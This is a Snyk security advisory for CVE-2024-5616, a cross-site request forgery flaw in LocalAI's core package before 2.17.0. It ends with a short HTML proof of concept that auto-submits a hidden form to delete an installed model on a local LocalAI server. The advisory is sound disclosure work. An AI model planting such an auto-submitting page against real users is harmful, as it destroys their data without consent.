Cross-Site Request Forgery (CSRF) Affecting github.com/go-skynet/localai/core package, versions <2.17.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMGOSKYNETLOCALAICORE-7430236
- published 8 Jul 2024
- disclosed 6 Jul 2024
- credit pinkdraconian
Introduced: 6 Jul 2024
CVE-2024-5616 Open this link in a new tabHow to fix?
Upgrade github.com/go-skynet/LocalAI/core
to version 2.17.0 or higher.
Overview
Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) through the model deletion functionality. An attacker can trick victims into deleting installed models by crafting a malicious HTML page.
PoC
<html>
<body>
<form action="http://localhost:8080/browse/delete/model/gpt-4-vision-preview" method="POST">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>